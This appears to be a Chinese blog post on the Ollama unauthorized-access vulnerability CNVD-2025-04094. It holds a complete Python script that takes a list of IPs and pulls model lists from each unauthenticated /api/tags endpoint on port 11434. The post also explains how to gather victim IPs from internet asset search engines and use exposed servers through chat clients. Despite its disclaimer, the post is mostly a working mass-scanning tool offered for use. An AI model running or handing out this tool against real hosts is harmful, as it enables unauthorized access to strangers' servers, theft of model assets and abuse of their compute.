本脚本及生成结果仅用于技术交流与测试,使用者需自行承担所有风险。作者不保证数据的准确性、完整性,不对因使用此工具造成的任何直接或间接损失负责。请确保已获相关IP所有者授权后再进行检测。
国家信息安全漏洞共享平台(CNVD)收录了Ollama未授权访问漏洞(CNVD-2025-04094)。未经授权的攻击者可以远程访问Ollama服务接口执行敏感资产获取、虚假信息投喂、拒绝服务等恶意操作。脚本目前仅实现了未授权访问/api/tags获取ollama的列出本地模型,要使用请自行配合chatbox或其他应用。
漏洞简介
Ollama是一个本地私有化部署大语言模型(LLM,如DeepSeek等)的运行环境和平台,简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点,在AI领域得到了较为广泛的应用。
Ollama存在未授权访问漏洞。由于Ollama默认未设置身份验证和访问控制功能,未经授权的攻击者可在远程条件下调用Ollama服务接口,执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。未设置身份验证和访问控制功能且暴露在公共互联网上的Ollama易受此漏洞攻击影响。
CNVD对该漏洞的综合评级为“高危”。
import requests
import pandas as pd
from requests.exceptions import RequestException
# 读取IP列表
with open('ips.txt', 'r') as f:
ips = [line.strip() for line in f if line.strip()]
results = []
for ip in ips:
url = f'http://{ip}:11434/api/tags'
try:
# 发送请求,设置超时时间为5秒
response = requests.get(url, timeout=5)
response.raise_for_status() # 检查HTTP错误
# 解析JSON数据
data = response.json()
models = data.get('models', [])
# 提取所有model的name
model_names = [model.get('name', '') for model in models]
model_names_str = ', '.join(filter(None, model_names)) # 过滤空名称并连接
results.append((ip, model_names_str))
except RequestException as e:
results.append((ip, f'请求错误: {str(e)}'))
except ValueError as e:
results.append((ip, f'JSON解析错误: {str(e)}'))
except Exception as e:
results.append((ip, f'未知错误: {str(e)}'))
# 写入Excel文件
df = pd.DataFrame(results, columns=['IP', 'Models'])
df.to_excel('2.xlsx', index=False)
print('处理完成,结果已保存到2.xlsx')
使用方法
- 使用app.name==”Ollama Server” 或者 port=11434 语法自行去资产探测网站搜索ollama应用
- 将获取的ip保存到本地 ips.txt 文档
- 运行以下命令:
python ollama_unauth_CNVD-2025-04094.py
- 查看同目录的2.xlsx 获取结果。
参考:Ollama API文档
https://github.com/b3nguang/Ollama-Scan
© 版权声明
文章版权归作者所有,转载请标明出处。
THE END
暂无评论内容